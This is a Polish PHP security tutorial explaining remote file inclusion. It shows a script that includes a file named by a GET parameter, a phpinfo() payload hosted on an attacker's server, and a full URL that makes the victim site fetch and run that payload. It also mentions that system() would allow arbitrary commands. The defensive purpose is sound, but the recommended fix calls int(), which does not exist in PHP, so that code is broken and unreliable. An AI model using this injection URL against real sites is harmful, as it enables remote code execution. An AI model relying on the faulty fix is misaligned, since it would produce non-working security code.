PHP - bezpieczeństwo w PHP - Atak typu File Inclusion

DZIAŁANIE: brak działania
 

Kod:

brak kodu

Ewentualne Objaśnienia:

Często używamy na przykład funkcji include - dołączamy na przykład do każdej strony jakiś nagłówek, czy nasze imię i nazwisko czy jeszcze coś innego. Wiadomo, że jest to dobre rozwiązanie ponieważ nie trzeba na każdej stronie zmieniać takich danych, a jedynie zmieniamy to w jednym pliku i mamy z głowy wszystkie pod strony.

Popatrzmy na przykład mamy taki kod :
<?
print "Nazywam się Pan Kleks zapraszam do przeczytania moich wypocin!<br><br>";
if ($rozdzial = $_GET['rozdzial'])
    {
    include($rozdzial.".txt");
    }
else
    {
    include("spis_tresci.txt");
    }
?>

To prosty kod - wyświetlamy info powitalne oraz zależnie od tego jaki rozdział wybraliśmy wyświetlamy go z pliku tekstowego. Jeżeli nie wybrano żadnego rozdziału wyświetlamy plik tekstowy ze spisem treści.

Jak widać przekazany parametr metodą GET czyli na przykłąd index.php?rozdzial=tralala - oznacza konieczność otworzenia pliku "tralala.txt" .
Coś jest chyba więc nie tak prawda ? dlaczego ? Include może załadować i dołączyć do serwisu każdy plik tekstowy, nawet jeżeli nie pochodzi ona z naszego serwera, nawet nie próbuje on sprawdzić czy ten plik jest poprawny, czy pochodzi z naszego serwera itd.
Założymy więc, że mamy gdzieś na naszym serwerze plik tekstowy o nazwie "hack.txt" a w nik kod :
<?php
phpinfo();
?>

Dalej wchodzimy sobie na stronę ofiary - na przykład www.jakisautor.mojaksiazka.pl/index.php a nasz plik txt znajduje się na naszym serwerze na przykład www.mojserwer.pl/hack/hack.txt . Teraz w przypadku pokazanym na powyższym kodzie możemy bardzo łatwo wywołać nasz plik txtowy na serwerze ofiary wpisując adres :
http://www.jakisautor.mojaksiazka.pl/index.php?rozdzial=http://www.mojserwer.pl/hack/hack - automatycznie zostanie dołączony i wykonany plik hack.txt ( w adresie nie podawaliśmy jego rozszerzenie 'txt' - bo jak widać w kodzie funkcja include dodaje go sama ).

Wydaje się, że nic specjalnie złego nie zrobiliśmy - wszak to tylko informacje o serwerze ( które i tak mogą być przydatne ), ale na przykład funkcja php - system() - pozwala na wykonanie dowolnego polecenia systemowego na komputerze ofiary - a to nawet w serwerach posiadających systemy UNIXowe ( tam serwery WWW mają minimalne uprawnienia ) może spowodować spore straty.

Jak więc się bronić ?
W każdym skrypcie, który przyjmuje jakiekolwiek parametry zewnętrzne należy dokonywać sprawdzenia poprawności danych.
W naszym przykładzie wyglądałoby to tak :
<?
print "Nazywam się Pan Kleks zapraszam do przeczytania moich wypocin!<br><br>";
if ( $rozdzial = int($_GET['rozdzial']) )
    {
    include($rozdzial.".txt");
    }
else
    {
    include("spis_tresci.txt");
    }
?>

Jak widać dodaliśmy coś takiego jak int - ten parametr określa nam liczbę całkowitą. Więc parser ( kompilator niejako ) PHP próbuje przekonwertować parametr 'rozdzial' ( z tablicy GET oczywiście ) na liczbę całkowitą. I wtedy jeżeli oczywiście zawiera ona numer rozdziału - zostanie on wyświetlony. Jeżeli wprowadzimy złe dane - czyli na przykład ciąg znaków warunek nie zostanie spełniony, pokaże się nam spis treści.